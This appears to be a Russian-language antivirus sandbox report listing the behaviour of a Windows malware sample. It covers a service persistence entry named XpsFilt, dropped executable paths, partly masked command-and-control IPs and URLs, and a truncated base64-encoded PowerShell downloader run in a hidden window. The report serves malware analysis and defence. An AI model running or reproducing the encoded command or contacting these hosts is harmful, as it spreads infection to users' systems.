Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\XpsFilt] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\XpsFilt] 'ImagePath' = '"%WINDIR%\SysWOW64\OobeFldr\XpsFilt.exe"'
- 'XpsFilt' "%WINDIR%\SysWOW64\OobeFldr\XpsFilt.exe"
- 'XpsFilt' %WINDIR%\SysWOW64\OobeFldr\XpsFilt.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABWAGIAXwB4AGIAeQBoAD0AKAAoACcAVQA5ACcAKwAnADAAJwApACsAJwB6AHoAJwArACcANQAxACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUATgB2ADoAdQBzAEUAcgBQAFIATwBGAEkAbABlAFwAYwBZAH...
- %HOMEPATH%\cyzk15n\prqjwj3\kxkppn0.exe
- %WINDIR%\syswow64\oobefldr\xpsfilt.exe
- %HOMEPATH%\cyzk15n\prqjwj3\kxkppn0.exe в %WINDIR%\syswow64\oobefldr\xpsfilt.exe
- '82.#30.1.24':80
- '51.##.124.206':80
- http://lo####gangnam.com/4W/dz/
- http://51.##.124.206/RY7EbzE2u22ZS/BldllAP9GBrGUIKthy0/ZLEasccC8Zh68/JGs2uL6YGUNH6et/
- DNS ASK lo####gangnam.com
- '%HOMEPATH%\cyzk15n\prqjwj3\kxkppn0.exe'
- '%WINDIR%\syswow64\oobefldr\xpsfilt.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABWAGIAXwB4AGIAeQBoAD0AKAAoACcAVQA5ACcAKwAnADAAJwApACsAJwB6AHoAJwArACcANQAxACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUATgB2ADoAdQBzAEUAcgBQAFIATwBGAEkAbABlAFwAYwBZAH...' (со скрытым окном)